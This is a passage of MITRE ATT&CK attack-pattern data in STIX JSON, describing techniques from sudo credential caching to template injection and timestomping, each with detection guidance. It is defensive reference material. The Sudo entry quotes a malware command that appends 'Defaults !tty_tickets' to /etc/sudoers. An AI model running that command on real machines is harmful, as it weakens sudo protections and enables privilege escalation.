            "description": "The <code>sudo</code> command \"allows a system administrator to delegate authority to give certain users (or groups of users) the ability to run some (or all) commands as root or another user while providing an audit trail of the commands and their arguments.\" (Citation: sudo man page 2018) Since sudo was made for the system administrator, it has some useful configuration features such as a <code>timestamp_timeout</code> that is the amount of time in minutes between instances of <code>sudo</code> before it will re-prompt for a password. This is because <code>sudo</code> has the ability to cache credentials for a period of time. Sudo creates (or touches) a file at <code>/var/db/sudo</code> with a timestamp of when sudo was last run to determine this timeout. Additionally, there is a <code>tty_tickets</code> variable that treats each new tty (terminal session) in isolation. This means that, for example, the sudo timeout of one tty will not affect another tty (you will have to type the password again).\n\nAdversaries can abuse poor configurations of this to escalate privileges without needing the user's password. <code>/var/db/sudo</code>'s timestamp can be monitored to see if it falls within the <code>timestamp_timeout</code> range. If it does, then malware can execute sudo commands without needing to supply the user's password. When <code>tty_tickets</code> is disabled, adversaries can do this from any tty for that user. \n\nThe OSX Proton Malware has disabled <code>tty_tickets</code> to potentially make scripting easier by issuing <code>echo \\'Defaults !tty_tickets\\' >> /etc/sudoers</code>  (Citation: cybereason osx proton). In order for this change to be reflected, the Proton malware also must issue <code>killall Terminal</code>. As of macOS Sierra, the sudoers file has <code>tty_tickets</code> enabled by default.",
            "external_references": [
                {
                    "external_id": "T1206",
                    "url": "https://attack.mitre.org/techniques/T1206",
                    "source_name": "mitre-attack"
                },
                {
                    "url": "https://www.sudo.ws/",
                    "description": "Todd C. Miller. (2018). Sudo Man Page. Retrieved March 19, 2018.",
                    "source_name": "sudo man page 2018"
                },
                {
                    "url": "https://www.cybereason.com/blog/labs-proton-b-what-this-mac-malware-actually-does",
                    "description": "Amit Serper. (2018, May 10). ProtonB What this Mac Malware Actually Does. Retrieved March 19, 2018.",
                    "source_name": "cybereason osx proton"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "File monitoring",
                "Process command-line parameters"
            ],
            "x_mitre_detection": "This technique is abusing normal functionality in macOS and Linux systems, but sudo has the ability to log all input and output based on the <code>LOG_INPUT</code> and <code>LOG_OUTPUT</code> directives in the <code>/etc/sudoers</code> file.",
            "x_mitre_effective_permissions": [
                "root"
            ],
            "x_mitre_platforms": [
                "Linux",
                "macOS"
            ],
            "x_mitre_permissions_required": [
                "User"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "phase_name": "privilege-escalation",
                    "kill_chain_name": "mitre-attack"
                }
            ],
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2018-04-18T17:59:24.739Z",
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
        },
        {
            "id": "attack-pattern--3f18edba-28f4-4bb9-82c3-8aa60dcac5f7",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Supply Chain Compromise",
            "description": "Supply chain compromise is the manipulation of products or product delivery mechanisms prior to receipt by a final consumer for the purpose of data or system compromise. Supply chain compromise can take place at any stage of the supply chain including:\n\n* Manipulation of development tools\n* Manipulation of a development environment\n* Manipulation of source code repositories (public or private)\n* Manipulation of software update/distribution mechanisms\n* Compromised/infected system images (multiple cases of removable media infected at the factory)\n* Replacement of legitimate software with modified versions\n* Sales of modified/counterfeit products to legitimate distributors\n* Shipment interdiction\n\nWhile supply chain compromise can impact any component of hardware or software, attackers looking to gain execution have often focused on malicious additions to legitimate software in software distribution or update channels. (Citation: Avast CCleaner3 2018) (Citation: Microsoft Dofoil 2018) (Citation: Command Five SK 2011) Targeting may be specific to a desired victim set (Citation: Symantec Elderwood Sept 2012) or malicious software may be distributed to a broad set of consumers but only move on to additional tactics  on specific victims. (Citation: Avast CCleaner3 2018) (Citation: Command Five SK 2011)",
            "external_references": [
                {
                    "external_id": "T1195",
                    "url": "https://attack.mitre.org/techniques/T1195",
                    "source_name": "mitre-attack"
                },
                {
                    "external_id": "CAPEC-437",
                    "url": "https://capec.mitre.org/data/definitions/437.html",
                    "source_name": "capec"
                },
                {
                    "external_id": "CAPEC-438",
                    "url": "https://capec.mitre.org/data/definitions/438.html",
                    "source_name": "capec"
                },
                {
                    "external_id": "CAPEC-439",
                    "url": "https://capec.mitre.org/data/definitions/439.html",
                    "source_name": "capec"
                },
                {
                    "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf",
                    "description": "O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.",
                    "source_name": "Symantec Elderwood Sept 2012"
                },
                {
                    "url": "https://blog.avast.com/new-investigations-in-ccleaner-incident-point-to-a-possible-third-stage-that-had-keylogger-capacities",
                    "description": "Avast Threat Intelligence Team. (2018, March 8). New investigations into the CCleaner incident point to a possible third stage that had keylogger capacities. Retrieved March 15, 2018.",
                    "source_name": "Avast CCleaner3 2018"
                },
                {
                    "url": "https://cloudblogs.microsoft.com/microsoftsecure/2018/03/07/behavior-monitoring-combined-with-machine-learning-spoils-a-massive-dofoil-coin-mining-campaign/",
                    "description": "Windows Defender Research. (2018, March 7). Behavior monitoring combined with machine learning spoils a massive Dofoil coin mining campaign. Retrieved March 20, 2018.",
                    "source_name": "Microsoft Dofoil 2018"
                },
                {
                    "url": "https://www.commandfive.com/papers/C5_APT_SKHack.pdf",
                    "description": "Command Five Pty Ltd. (2011, September). SK Hack by an Advanced Persistent Threat. Retrieved April 6, 2018.",
                    "source_name": "Command Five SK 2011"
                }
            ],
            "object_marking_refs": [
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            ],
            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "Web proxy",
                "File monitoring"
            ],
            "x_mitre_detection": "Use verification of distributed binaries through hash checking or other integrity checking mechanisms. Scan downloads for malicious signatures and attempt to test software and updates prior to deployment while taking note of potential suspicious activity. Perform physical inspection of hardware to look for potential tampering.",
            "x_mitre_platforms": [
                "Linux",
                "Windows",
                "macOS"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "phase_name": "initial-access",
                    "kill_chain_name": "mitre-attack"
                }
            ],
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2018-04-18T17:59:24.739Z",
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
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            "id": "attack-pattern--6856ddd6-2df3-4379-8b87-284603c189c3",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "System Firmware",
            "description": "The BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) or Extensible Firmware Interface (EFI) are examples of system firmware that operate as the software interface between the operating system and hardware of a computer. (Citation: Wikipedia BIOS) (Citation: Wikipedia UEFI) (Citation: About UEFI)\n\nSystem firmware like BIOS and (U)EFI underly the functionality of a computer and may be modified by an adversary to perform or assist in malicious activity. Capabilities exist to overwrite the system firmware, which may give sophisticated adversaries a means to install malicious firmware updates as a means of persistence on a system that may be difficult to detect.",
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                {
                    "external_id": "T1019",
                    "url": "https://attack.mitre.org/techniques/T1019",
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                    "url": "https://en.wikipedia.org/wiki/BIOS",
                    "description": "Wikipedia. (n.d.). BIOS. Retrieved January 5, 2016.",
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                    "url": "http://www.uefi.org/about",
                    "description": "UEFI Forum. (n.d.). About UEFI Forum. Retrieved January 5, 2016.",
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                    "url": "http://www.mitre.org/publications/project-stories/going-deep-into-the-bios-with-mitre-firmware-security-research",
                    "description": "Upham, K. (2014, March). Going Deep into the BIOS with MITRE Firmware Security Research. Retrieved January 5, 2016.",
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                    "url": "http://www.mitre.org/capabilities/cybersecurity/overview/cybersecurity-blog/copernicus-question-your-assumptions-about",
                    "description": "Butterworth, J. (2013, July 30). Copernicus: Question Your Assumptions about BIOS Security. Retrieved December 11, 2015.",
                    "source_name": "MITRE Copernicus"
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                    "url": "https://securingtomorrow.mcafee.com/business/chipsec-support-vault-7-disclosure-scanning/",
                    "description": "Beek, C., Samani, R. (2017, March 8). CHIPSEC Support Against Vault 7 Disclosure Scanning. Retrieved March 13, 2017.",
                    "source_name": "McAfee CHIPSEC Blog"
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                    "url": "https://github.com/chipsec/chipsec",
                    "description": "Intel. (2017, March 18). CHIPSEC Platform Security Assessment Framework. Retrieved March 20, 2017.",
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                    "url": "http://www.intelsecurity.com/advanced-threat-research/content/data/HT-UEFI-rootkit.html",
                    "description": "Intel Security. (2005, July 16). HackingTeam's UEFI Rootkit Details. Retrieved March 20, 2017.",
                    "source_name": "Intel HackingTeam UEFI Rootkit"
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                    "url": "https://en.wikipedia.org/wiki/Unified_Extensible_Firmware_Interface",
                    "description": "Wikipedia. (2017, July 10). Unified Extensible Firmware Interface. Retrieved July 11, 2017.",
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            "description": "Adversaries will likely look for details about the network configuration and settings of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include [Arp](https://attack.mitre.org/software/S0099), [ipconfig](https://attack.mitre.org/software/S0100)/[ifconfig](https://attack.mitre.org/software/S0101), [nbtstat](https://attack.mitre.org/software/S0102), and [route](https://attack.mitre.org/software/S0103).",
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                    "external_id": "T1016",
                    "url": "https://attack.mitre.org/techniques/T1016",
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            "name": "System Network Connections Discovery",
            "description": "Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network. \n\n### Windows\n\nUtilities and commands that acquire this information include [netstat](https://attack.mitre.org/software/S0104), \"net use,\" and \"net session\" with [Net](https://attack.mitre.org/software/S0039).\n\n### Mac and Linux \n\nIn Mac and Linux, <code>netstat</code> and <code>lsof</code> can be used to list current connections. <code>who -a</code> and <code>w</code> can be used to show which users are currently logged in, similar to \"net session\".",
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                    "url": "https://attack.mitre.org/techniques/T1049",
                    "source_name": "mitre-attack"
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            "description": "### Windows\n\nAdversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using [Credential Dumping](https://attack.mitre.org/techniques/T1003). The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs.\n\n### Mac\n\nOn Mac, the currently logged in user can be identified with <code>users</code>,<code>w</code>, and <code>who</code>.\n\n### Linux\n\nOn Linux, the currently logged in user can be identified with <code>w</code> and <code>who</code>.",
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                    "url": "https://attack.mitre.org/techniques/T1033",
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                "Administrator"
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            "x_mitre_platforms": [
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            "description": "Adversaries may try to get information about registered services. Commands that may obtain information about services using operating system utilities are \"sc,\" \"tasklist /svc\" using [Tasklist](https://attack.mitre.org/software/S0057), and \"net start\" using [Net](https://attack.mitre.org/software/S0039), but adversaries may also use other tools as well.",
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                {
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                    "url": "https://attack.mitre.org/techniques/T1007",
                    "source_name": "mitre-attack"
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                {
                    "external_id": "CAPEC-574",
                    "url": "https://capec.mitre.org/data/definitions/574.html",
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            "x_mitre_permissions_required": [
                "User",
                "Administrator",
                "SYSTEM"
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            "x_mitre_platforms": [
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            "name": "System Time Discovery",
            "description": "The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network. (Citation: MSDN System Time) (Citation: Technet Windows Time Service)\n\nAn adversary may gather the system time and/or time zone from a local or remote system. This information may be gathered in a number of ways, such as with [Net](https://attack.mitre.org/software/S0039) on Windows by performing <code>net time \\\\hostname</code> to gather the system time on a remote system. The victim's time zone may also be inferred from the current system time or gathered by using <code>w32tm /tz</code>. (Citation: Technet Windows Time Service) The information could be useful for performing other techniques, such as executing a file with a [Scheduled Task](https://attack.mitre.org/techniques/T1053) (Citation: RSA EU12 They're Inside), or to discover locality information based on time zone to assist in victim targeting.",
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                {
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                    "url": "https://attack.mitre.org/techniques/T1124",
                    "source_name": "mitre-attack"
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                {
                    "url": "https://msdn.microsoft.com/ms724961.aspx",
                    "description": "Microsoft. (n.d.). System Time. Retrieved November 25, 2016.",
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                {
                    "url": "https://www.rsaconference.com/writable/presentations/file_upload/ht-209_rivner_schwartz.pdf",
                    "description": "Rivner, U., Schwartz, E. (2012). They\u2019re Inside\u2026 Now What?. Retrieved November 25, 2016.",
                    "source_name": "RSA EU12 They're Inside"
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                    "url": "https://technet.microsoft.com/windows-server-docs/identity/ad-ds/get-started/windows-time-service/windows-time-service-tools-and-settings",
                    "description": "Mathers, B. (2016, September 30). Windows Time Service Tools and Settings. Retrieved November 25, 2016.",
                    "source_name": "Technet Windows Time Service"
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            "x_mitre_permissions_required": [
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            "x_mitre_platforms": [
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            "name": "Taint Shared Content",
            "description": "Content stored on network drives or in other shared locations may be tainted by adding malicious programs, scripts, or exploit code to otherwise valid files. Once a user opens the shared tainted content, the malicious portion can be executed to run the adversary's code on a remote system. Adversaries may use tainted shared content to move laterally.\n\nA directory share pivot is a variation on this technique that uses several other techniques to propagate malware when users access a shared network directory. It uses [Shortcut Modification](https://attack.mitre.org/techniques/T1023) of directory .LNK files that use [Masquerading](https://attack.mitre.org/techniques/T1036) to look like the real directories, which are hidden through [Hidden Files and Directories](https://attack.mitre.org/techniques/T1158). The malicious .LNK-based directories have an embedded command that executes the hidden malware file in the directory and then opens the real intended directory so that the user's expected action still occurs. When used with frequently used network directories, the technique may result in frequent reinfections and broad access to systems and potentially to new and higher privileged accounts. (Citation: Retwin Directory Share Pivot)",
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                    "url": "https://attack.mitre.org/techniques/T1080",
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                    "url": "https://rewtin.blogspot.ch/2017/11/abusing-user-shares-for-efficient.html",
                    "description": "Routin, D. (2017, November 13). Abusing network shares for efficient lateral movements and privesc (DirSharePivot). Retrieved April 12, 2018.",
                    "source_name": "Retwin Directory Share Pivot"
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            "x_mitre_detection": "Processes that write or overwrite many files to a network shared directory may be suspicious. Monitor processes that are executed from removable media for malicious or abnormal activity such as network connections due to Command and Control and possible network Discovery techniques.\n\nFrequently scan shared network directories for malicious files, hidden files, .LNK files, and other file types that may not typical exist in directories used to share specific types of content.",
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_system_requirements": [
                "Access to shared folders and content with write permissions"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "phase_name": "lateral-movement",
                    "kill_chain_name": "mitre-attack"
                }
            ],
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-05-31T21:31:01.759Z",
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
        },
        {
            "id": "attack-pattern--dc31fe1e-d722-49da-8f5f-92c7b5aff534",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Template Injection",
            "description": "Microsoft\u2019s Open Office XML (OOXML) specification defines an XML-based format for Office documents (.docx, xlsx, .pptx) to replace older binary formats (.doc, .xls, .ppt). OOXML files are packed together ZIP archives compromised of various XML files, referred to as parts, containing properties that collectively define how a document is rendered. (Citation: Microsoft Open XML July 2017)\n\nProperties within parts may reference shared public resources accessed via online URLs. For example, template properties reference a file, serving as a pre-formatted document blueprint, that is fetched when the document is loaded.\n\nAdversaries may abuse this technology to initially conceal malicious code to be executed via documents (i.e. [Scripting](https://attack.mitre.org/techniques/T1064)). Template references injected into a document may enable malicious payloads to be fetched and executed when the document is loaded. These documents can be delivered via other techniques such as [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193) and/or [Taint Shared Content](https://attack.mitre.org/techniques/T1080) and may evade static detections since no typical indicators (VBA macro, script, etc.) are present until after the malicious payload is fetched. (Citation: Redxorblue Remote Template Injection) Examples have been seen in the wild where template injection was used to load malicious code containing an exploit. (Citation: MalwareBytes Template Injection OCT 2017)\n\nThis technique may also enable [Forced Authentication](https://attack.mitre.org/techniques/T1187) by injecting a SMB/HTTPS (or other credential prompting) URL and triggering an authentication attempt. (Citation: Anomali Template Injection MAR 2018) (Citation: Talos Template Injection July 2017) (Citation: ryhanson phishery SEPT 2016)",
            "external_references": [
                {
                    "external_id": "T1221",
                    "url": "https://attack.mitre.org/techniques/T1221",
                    "source_name": "mitre-attack"
                },
                {
                    "url": "https://docs.microsoft.com/previous-versions/office/developer/office-2007/aa338205(v=office.12)",
                    "description": "Microsoft. (2014, July 9). Introducing the Office (2007) Open XML File Formats. Retrieved July 20, 2018.",
                    "source_name": "Microsoft Open XML July 2017"
                },
                {
                    "url": "https://forum.anomali.com/t/credential-harvesting-and-malicious-file-delivery-using-microsoft-office-template-injection/2104",
                    "description": "Intel_Acquisition_Team. (2018, March 1). Credential Harvesting and Malicious File Delivery using Microsoft Office Template Injection. Retrieved July 20, 2018.",
                    "source_name": "Anomali Template Injection MAR 2018"
                },
                {
                    "url": "https://blog.malwarebytes.com/threat-analysis/2017/10/decoy-microsoft-word-document-delivers-malware-through-rat/",
                    "description": "Segura, J. (2017, October 13). Decoy Microsoft Word document delivers malware through a RAT. Retrieved July 21, 2018.",
                    "source_name": "MalwareBytes Template Injection OCT 2017"
                },
                {
                    "url": "https://blog.talosintelligence.com/2017/07/template-injection.html",
                    "description": "Baird, S. et al.. (2017, July 7). Attack on Critical Infrastructure Leverages Template Injection. Retrieved July 21, 2018.",
                    "source_name": "Talos Template Injection July 2017"
                },
                {
                    "url": "https://github.com/ryhanson/phishery",
                    "description": "Hanson, R. (2016, September 24). phishery. Retrieved July 21, 2018.",
                    "source_name": "ryhanson phishery SEPT 2016"
                },
                {
                    "url": "http://blog.redxorblue.com/2018/07/executing-macros-from-docx-with-remote.html",
                    "description": "Hawkins, J. (2018, July 18). Executing Macros From a DOCX With Remote Template Injection. Retrieved October 12, 2018.",
                    "source_name": "Redxorblue Remote Template Injection"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_contributors": [
                "Patrick Campbell, @pjcampbe11"
            ],
            "x_mitre_data_sources": [
                "Anti-virus",
                "Email gateway",
                "Network intrusion detection system",
                "Web logs"
            ],
            "x_mitre_defense_bypassed": [
                "Static File Analysis"
            ],
            "x_mitre_detection": "Analyze process behavior to determine if an Office application is performing actions, such as opening network connections, reading files, spawning abnormal child processes (ex: [PowerShell](https://attack.mitre.org/techniques/T1086)), or other suspicious actions that could relate to post-compromise behavior.",
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "phase_name": "defense-evasion",
                    "kill_chain_name": "mitre-attack"
                }
            ],
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2018-10-17T00:14:20.652Z",
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
        },
        {
            "id": "attack-pattern--92a78814-b191-47ca-909c-1ccfe3777414",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Third-party Software",
            "description": "Third-party applications and software deployment systems may be in use in the network environment for administration purposes (e.g., SCCM, VNC, HBSS, Altiris, etc.). If an adversary gains access to these systems, then they may be able to execute code.\n\nAdversaries may gain access to and use third-party application deployment systems installed within an enterprise network. Access to a network-wide or enterprise-wide software deployment system enables an adversary to have remote code execution on all systems that are connected to such a system. The access may be used to laterally move to systems, gather information, or cause a specific effect, such as wiping the hard drives on all endpoints.\n\nThe permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the deployment server, or specific domain credentials may be required. However, the system may require an administrative account to log in or to perform software deployment.",
            "external_references": [
                {
                    "external_id": "T1072",
                    "url": "https://attack.mitre.org/techniques/T1072",
                    "source_name": "mitre-attack"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "File monitoring",
                "Third-party application logs",
                "Windows Registry",
                "Process monitoring",
                "Process use of network",
                "Binary file metadata"
            ],
            "x_mitre_detection": "Detection methods will vary depending on the type of third-party software or system and how it is typically used. \n\nThe same investigation process can be applied here as with other potentially malicious activities where the distribution vector is initially unknown but the resulting activity follows a discernible pattern. Analyze the process execution trees, historical activities from the third-party application (such as what types of files are usually pushed), and the resulting activities or events from the file/binary/script pushed to systems. \n\nOften these third-party applications will have logs of their own that can be collected and correlated with other data from the environment. Audit software deployment logs and look for suspicious or unauthorized activity. A system not typically used to push software to clients that suddenly is used for such a task outside of a known admin function may be suspicious.\n\nPerform application deployment at regular times so that irregular deployment activity stands out. Monitor process activity that does not correlate to known good software. Monitor account login activity on the deployment system.",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "x_mitre_permissions_required": [
                "User",
                "Administrator",
                "SYSTEM"
            ],
            "x_mitre_remote_support": true,
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "phase_name": "execution",
                    "kill_chain_name": "mitre-attack"
                },
                {
                    "phase_name": "lateral-movement",
                    "kill_chain_name": "mitre-attack"
                }
            ],
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-05-31T21:30:57.201Z",
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
        },
        {
            "id": "attack-pattern--dce31a00-1e90-4655-b0f9-e2e71a748a87",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Time Providers",
            "description": "The Windows Time service (W32Time) enables time synchronization across and within domains. (Citation: Microsoft W32Time Feb 2018) W32Time time providers are responsible for retrieving time stamps from hardware/network resources and outputting these values to other network clients. (Citation: Microsoft TimeProvider)\n\nTime providers are implemented as dynamic-link libraries (DLLs) that are registered in the subkeys of  <code>HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\</code>. (Citation: Microsoft TimeProvider) The time provider manager, directed by the service control manager, loads and starts time providers listed and enabled under this key at system startup and/or whenever parameters are changed. (Citation: Microsoft TimeProvider)\n\nAdversaries may abuse this architecture to establish Persistence, specifically by registering and enabling a malicious DLL as a time provider. Administrator privileges are required for time provider registration, though execution will run in context of the Local Service account. (Citation: Github W32Time Oct 2017)",
            "external_references": [
                {
                    "external_id": "T1209",
                    "url": "https://attack.mitre.org/techniques/T1209",
                    "source_name": "mitre-attack"
                },
                {
                    "url": "https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-top",
                    "description": "Microsoft. (2018, February 1). Windows Time Service (W32Time). Retrieved March 26, 2018.",
                    "source_name": "Microsoft W32Time Feb 2018"
                },
                {
                    "url": "https://msdn.microsoft.com/library/windows/desktop/ms725475.aspx",
                    "description": "Microsoft. (n.d.). Time Provider. Retrieved March 26, 2018.",
                    "source_name": "Microsoft TimeProvider"
                },
                {
                    "url": "https://github.com/scottlundgren/w32time",
                    "description": "Lundgren, S. (2017, October 28). w32time. Retrieved March 26, 2018.",
                    "source_name": "Github W32Time Oct 2017"
                },
                {
                    "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902",
                    "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
                    "source_name": "TechNet Autoruns"
                },
                {
                    "url": "https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-tools-and-settings",
                    "description": "Mathers, B. (2017, May 31). Windows Time Service Tools and Settings. Retrieved March 26, 2018.",
                    "source_name": "Microsoft W32Time May 2017"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_contributors": [
                "Scott Lundgren, @5twenty9, Carbon Black"
            ],
            "x_mitre_data_sources": [
                "API monitoring",
                "Binary file metadata",
                "DLL monitoring",
                "File monitoring",
                "Loaded DLLs",
                "Process Monitoring"
            ],
            "x_mitre_detection": "Baseline values and monitor/analyze activity related to modifying W32Time information in the Registry, including application programming interface (API) calls such as RegCreateKeyEx and RegSetValueEx as well as execution of the W32tm.exe utility. (Citation: Microsoft W32Time May 2017) There is no restriction on the number of custom time providers registrations, though each may require a DLL payload written to disk. (Citation: Github W32Time Oct 2017)\n\nThe Sysinternals Autoruns tool may also be used to analyze auto-starting locations, including DLLs listed as time providers. (Citation: TechNet Autoruns)",
            "x_mitre_permissions_required": [
                "Administrator",
                "SYSTEM"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "phase_name": "persistence",
                    "kill_chain_name": "mitre-attack"
                }
            ],
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2018-04-18T17:59:24.739Z",
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
        },
        {
            "id": "attack-pattern--128c55d3-aeba-469f-bd3e-c8996ab4112a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Timestomp",
            "description": "Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools. Timestomping may be used along with file name [Masquerading](https://attack.mitre.org/techniques/T1036) to hide malware and tools. (Citation: WindowsIR Anti-Forensic Techniques)",
            "external_references": [
                {
                    "external_id": "T1099",
                    "url": "https://attack.mitre.org/techniques/T1099",
                    "source_name": "mitre-attack"
                },
                {
                    "url": "http://windowsir.blogspot.com/2013/07/howto-determinedetect-use-of-anti.html",
                    "description": "Carvey, H. (2013, July 23). HowTo: Determine/Detect the use of Anti-Forensics Techniques. Retrieved June 3, 2016.",
                    "source_name": "WindowsIR Anti-Forensic Techniques"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "File monitoring",
                "Process monitoring",
                "Process command-line parameters"
            ],
            "x_mitre_detection": "Forensic techniques exist to detect aspects of files that have had their timestamps modified. (Citation: WindowsIR Anti-Forensic Techniques) It may be possible to detect timestomping using file modification monitoring that collects information on file handle opens and can compare timestamp values.",
            "x_mitre_defense_bypassed": [
                "Host forensic analysis"
            ],
            "x_mitre_platforms": [
                "Linux",
                "Windows"
            ],
            "x_mitre_permissions_required": [
                "User",
                "Administrator",
                "SYSTEM"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "phase_name": "defense-evasion",
                    "kill_chain_name": "mitre-attack"
                }
            ],
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-05-31T21:31:12.675Z",
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
        },
        {
            "id": "attack-pattern--b53dbcc6-147d-48bb-9df4-bcb8bb808ff6",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Trap",
            "description": "The <code>trap</code> command allows programs and shells to specify commands that will be executed upon receiving interrupt signals. A common situation is a script allowing for graceful termination and handling of common  keyboard interrupts like <code>ctrl+c</code> and <code>ctrl+d</code>. Adversaries can use this to register code to be executed when the shell encounters specific interrupts either to gain execution or as a persistence mechanism. Trap commands are of the following format <code>trap 'command list' signals</code> where \"command list\" will be executed when \"signals\" are received.",
            "external_references": [
                {
                    "external_id": "T1154",
                    "url": "https://attack.mitre.org/techniques/T1154",
                    "source_name": "mitre-attack"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_detection": "Trap commands must be registered for the shell or programs, so they appear in files. Monitoring files for suspicious or overly broad trap commands can narrow down suspicious behavior during an investigation. Monitor for suspicious processes executed through trap interrupts.",
            "x_mitre_data_sources": [
                "File monitoring",
                "Process Monitoring",
                "Process command-line parameters"
            ],
            "x_mitre_permissions_required": [
                "User",
                "Administrator"
            ],
            "x_mitre_platforms": [
                "Linux",
                "macOS"
            ],
            "x_mitre_remote_support": false,
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "phase_name": "execution",
                    "kill_chain_name": "mitre-attack"
                },
                {
                    "phase_name": "persistence",
                    "kill_chain_name": "mitre-attack"
                }
            ],
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-12-14T16:46:06.044Z",
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
        },
        {
            "id": "attack-pattern--ff25900d-76d5-449b-a351-8824e62fc81b",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Trusted Developer Utilities",
